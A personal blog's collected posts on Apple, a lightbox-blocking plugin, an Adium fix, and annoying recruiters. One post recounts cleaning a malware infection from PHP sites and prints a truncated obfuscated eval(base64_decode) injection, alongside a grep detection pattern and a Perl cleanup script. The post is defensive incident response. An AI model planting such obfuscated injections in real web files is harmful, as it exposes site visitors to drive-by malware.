I understand criticizing a company that does things you don’t agree with. And I even understand having an (illogically) negative emotional attitude toward whoever is the biggest guy on the block. That’s human nature.

But what I don’t understand is the enmity that has been fostered toward a)Apple’s user base, and b)it (now former) CEO.

First, the fanboy jeers. This is among the most insulting words ever invented. This single word takes everything good that we as humans should stand for — happiness, enthusiasm, loyalty — and single-handedly turns them into a slur against an enormous group of people. Hundreds of millions, even.

Sure, it’s not hating people for being black, or Jewish, it’s hating them for being happy with a product they bought. Therefore, by law, it’s not technically hate-speech. But it is. When I hear the word “fanboy”, I hear hate-speech.

And second, the insults against Steve Jobs. Why? Because he has been successful? Because he’s had the good fortune of having ideas that people like?

I hear people say things like, “Why did you do that? Is it because Steve Jobs told you to do it?” Or, “I don’t want to be stuck with a product that only lets me do what Steve Jobs wants me to do.” Just this morning, I read a Facebook message from a friend of mine, basically attacking Steve Jobs for being a weak, frail, man who has no business running a company. Seriously. You’re kicking the guy because he has cancer? Low.

For more than 10 years, I was a computer user with my fate tied to Microsoft’s whims. I was dragged through every security hole, every licensing agreement, every DLL hell, every flaw in their software, and every whim in their financial department, and every stranglehold in their legal department.

I hated Microsoft. I watched as they blatantly used anti-competitive practices to wipe good companies off the map and establish unearned and unjustified dominance. But I never felt the need to take that out on Bill Gates. He’s a smart man, who single-handedly changed the world.

But now it’s Steve Jobs who’s spent the last 10 years changing the world. And yet somehow the rules have changed. He wears funny clothes and he’s really skinny, so let’s hate him.

Fuck that.

There is a sickening, maddening, frustrating, irritating trend in the web for the last year or so. People are overusing “lightboxes”.

A lightbox is that effect when the screen goes kind of dark and you can only see one thing centered in the middle. It’s a modern (web 2.0?) form of modal input.

In other words, it stops you from doing what you want, in order to force you to do what the web site wants. And that, my friends, is a fundamentally evil behavior.

This particular behavior is especially overused in internet marketing: you’re trying to read a blog and then suddenly you can’t do anything until you sign up for their email list; you’re trying to read some song lyrics but suddenly your screen is hijacked by an ad for ringtones; you click a link to read an article on a news site, but before you can read it you have to sit through a commercial for Swiffer or some other bullshit.

Well fuck that. I made a browser plugin to shut off those lightboxes. Click for Firefox. Click for Chrome.

Unfortunately, because this is a non-standard behavior, there are limitless ways to create new lightbox popups and my plugin can never stop all of them, but I’m happy just to stop the most used ones, if that means an improved browsing experience for some people.

Meanwhile, if you use my plugin and you see a site with lightbox popus that aren’t blocked, please tweet me or email me or comment here and I’ll happily add support to block it in the future.

I use Adium for almost all of my chat needs (all but Skype) on the Mac, so this week, as I was starting my new job and setting up my new computer I installed Adium and tried to log in to the developers chat room.

The problem is, I typed the wrong information on the first attempt, and there is a bug in Adium which causes it to silently fail on all subsequent attempts, even after the information is entered correctly.

I tried dozens of times. I tried closing and reopening Adium. Nothing.

When a coworker sent me an invitation to the group, I was able to get in, but that only lasted half a day, and then I was once again unable to connect.

What finally did work for me, was to completely wipe the contents of ~/Library/Application Support/Adium 2.0 and restart Adium. After doing this, I had to add my accounts again, but everything worked as expected.

This morning I received a comment on one of my blogs, suggesting that I may have some sort of virus, because navigating to my site triggered Windows Security Essentials to warn of a TrojanDownloader: Java/Exdoer.

I use a Mac, so as usual, the “virus” had no effect on me. But when I viewed the source code of my web site, saw a sneaky IFRAME has been inserted at the very top, even ahead of my DOCTYPE.

My fist thought was to go to another web site hosted on the same account and see if it had been affected. It had. In fact, all of my web sites were affected.

Having seen a similar attack on my previous web host, I had an idea what to look for. I checked several PHP files, but noticed that only those named index.php had been affected. One by one, I began to open them, and pull out the offending code:

1
2
3
4
5
6
7
8
9

eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0
KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlci
A9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3b
CcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4J
...
...
L2Ftcnlhd21pLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WU
FFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhl
aWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

It was a lot longer than that, but I’m not going to post the entire code — both for readability and because I don’t want to hand out the offending code.

What surprised me, though, was that before I had reached the end of the files I was cleaning, those from which I had already removed the code now had it back!

I was able to verify the infections by issuing the following command:

grep -rl --include=index.php "eval(base64_decode" .

My next theory was that part of the “virus” must include a step to spread itself. That is, after all, the feature that would make it a virus. And if that’s the case, allowing it to be called from one web site would reinfect all the others before I could finish cleaning them in the first place.

So I made a script to do it more quickly:

1
2
3
4
5
6
7
8
9
10

#!/usr/bin/env perl
use strict;
use warnings;
 
$^I = '.cleanbak';  # Call for in-place editing; make backups with a .bak suffix
 
while ( <> ) {
  s/eval\(base64[^\)]+\)\)\;//g;
  print;
}

I named that file bin/clean, and then I called it by doing the following:

find . -type f -name 'index.php' -exec bin/clean2 '{}' \;

This removed all traces of the offending code, leaving my web sites safe once again for visitors. I tested everything and verified that the “virus” was no longer showing up on any of my sites. And my grep showed that there were no more bits of hidden base64 code.

But on a lark, I checked again half an hour later and it was back!

So I issued the cleanup command again. And then when it finished, I disabled write permission on my files.

find . -type f -name 'index.php' -exec chmod 444 '{}' \;

This seems to have stemmed the tide. It’s certainly more secure to keep permissions closed down this way, but the obvious side-effect of this is that it will disable the auto-update feature of WordPress.

And more importantly, it’s necessary to find the root cause, because one should not have to lock down write permissions to protect their web site. I need to find out if there is some other script somewhere in my account that’s doing this, or if it’s coming from an admin account on the entire box…

When I first bought my iBook in 2004, it was my first experience is OS X. I’d seen the demos. I’d played with the cool zooming dock bar. I’d worked with people who worked on Macs. But until I bought one, I didn’t understand.

There was nothing to configure. There was nothing to fuss with. There was no Add/Remove Programs in the Control Panel, no DLL hell, no blue screens, no drivers, nothing. My mail went to Mail, my calendar went to Calendar, my contacts went to Address Book, and for everything else I went to Safari.

When I bought my first iPod the following year, it was more of the same. You plug it in, it syncs. You pushed play, it played. You pushed pause, it paused. You pick a song,
you hear that song.

It used to be different

I had spend the previous 10 years messing with Windows and Linux, and 10 years prior to that messing with MS-DOS and AppleDOS. My entire life’s reference to technology had painted it into this box of gadgets, toys, things to play with.

It was necessary to buy the radio with the most buttons and knobs, and a 31-band equalizer, because radios didn’t give us good sound. They needed to be tweaked… and tweak them we did!

If you had a computer, it was part of a wall-sized arsenal. There was a desk, a tower, a keyboard, a mouse, a monitor, speakers, printer, scanner, a shelf for all the software boxes and a drawer stuffed full of CDs. A computer wasn’t a tool, it was a thing that competed for attention, for space, and for money.

Today, it just works

But that’s not the case any more. Thanks to Apple, we have grown accustomed to things that “just work.” No more need for a matrix of wires and a shelf full of peripherals. These days, it’s not uncommon to see a desktop with just a single device on it: a MacBook Pro, or maybe an iMac with wireless keyboard and mouse.

And it’s not just Apple. While Apple championed this change, everyone else has had to follow suit if they want to compete. Today, Windows is simpler to use. Today, Sony makes PCs that are as elegant as those from Apple.

We’ve all benefitted from Apple, even those of use who don’t own any Apple products. Today, it just works. And the difference is amazing. When you’re not spending precious brain cycles managing the mess of cables and peripherals and drivers, you have a lot more attention that you can focus directly on your work. And I think it shows, because people are doing some pretty cool things these days.

The time has come for minimalist software

Over the past year or two, I’ve noticed a change in how I use my computers. With the rise of the social networks and the arrival of “the cloud”, it has become all too common for my average browser session to have several tabs open at all times: two Gmail tabs (for professional and personal accounts), one tab open to Facebook, and one tab open to Twitter. Not to mention often having another tab open to the WordPress admin page on my blog, and maybe additional pages for Google Reader, Google Docs, etc.

My browser was using the majority of my system resources. It was also beginning to invade my mental space. With so many tabs open, you eventually find yourself flipping through them, tab by tab, to see what you’ve missed. Web 2.0 was putting me right back into that cluttered mess from which OS X had rescued me. People have invented all manner of software to limit your ability to surf the web, or to put time limits on your Facebook use, but these things are totalitarian. And what’s worse, they don’t work.

The toolbar and Growl

I’m tempted to give Apple the credit for saving us once again, thanks to the App Store, but that would really be accurate. The real answer comes in the form of Growl, and the many Toolbar apps that support it. I’ve found many of them on the Mac App Store, but there are also several which I couldn’t find there.

It all started when I tried the Twitter app, and found a much better twitter experience by pulling out of the browser. And the immediate feedback from Growl stopped my need to keep looking.

Then, I heard about Sparrow. Sparrow is an email client that runs in the toolbar. It supports multiple accounts, and has Growl notifications when email comes in. Now, I don’t have to keep looking at Gmail pages to see if I’ve got any mail, because I have instant visual feedback in the toolbar, as well as a very user-friendly interface through which to read and respond.

I’ve added FMenu to give me Facebook alerts, GrowlVoice to help me easily see and respond to calls and text messages over Google Voice, and even Skype can run in the toolbar and has Growl support.

It just works. Again.

Now, without all that mental overhead, I’m once again finding myself returning to that peaceful state of mind, where I have no distractions. In the same way that Apple rescued me from PC hell, and Google Reader rescued me from seperate trips to dozens of web sites, now the OS X toolbar, and Growl, are resucuing me from Web 2.0.

I no longer have any need to visit these web sites to see if there’s activity. I already know based on the icon in my toolbar. And if I’ve been at the computer (which I probably have) I probably saw a summary of the activity flash in the corner of my screen, as a Growl notification. So not only do I know about the activity, but I also know whether or not I need to respond to it.

And lest there be any doubt… a native app running in the toolbar consumes FAR LESS system resources than a browser tab — even in Chrome where performance has been so well considered. So not only am I freeing up my own attention, but I’m also freeing up that of my computer, meaning that it will perform better with the extra work I’m going to give it.

It’s funny. I don’t get to go tell the designers how to draw pictures. I don’t get to tell the managers which columns to use in their spreadsheets or which office to use for meetings. And I don’t get to tell the analysts how to order coffee or where to buy discount shoes.

So why do all of these people get to dictate which database I use? Why does someone who doesn’t even know what an application server is get to tell me which one I have to use? Why do I have to spend 90% of my time reinventing the wheel to fit with your new, insane configurations, instead of being allowed to define the configuration at the beginning when I can tell you all the time and money you’ll save by reusing the work that’s already been done?

Have you gotten that message? “Hi, $your_name, I’m calling about your resume…”

Oh? My resume? Is there something wrong with it? Am I being sued for trademark infringement because I listed an employer’s name?

Don’t call me about my resume. You’ve already got my resume. I know you do, because that’s where you found my phone number, jackass.

How about you call me about a job, eh? I already know about my resume — I wrote it! That’s why I’m not returning your calls. Now, if you called me about a job, maybe I’d call you back…

The most requested feature of my Add Linked Images To Gallery plugin has been a function to process all past posts.

I’ve finally found the time to add this feature, and published it as version 1.3. I hope this will make everyone happy. Merry Christmas.

This is another recruiter cliché that drives me nuts. Why are you telling me that it’s one of your top clients?

If the client was really as impressive as you want me to think they are, you would only have to tell me their name. Instead, you’re withholding the name and trying to make them sound better.

(Maybe this explains why you’re still only the second-largest privately held executive staffing firm in your city.)

I get voicemails and emails all the time from recruiters that start off like this:

My name is [some guy] and I’m an executive recruiter at [Just another headhunter]. We are the 2nd largest privately held Executive Search Firm in NYC according to Crains.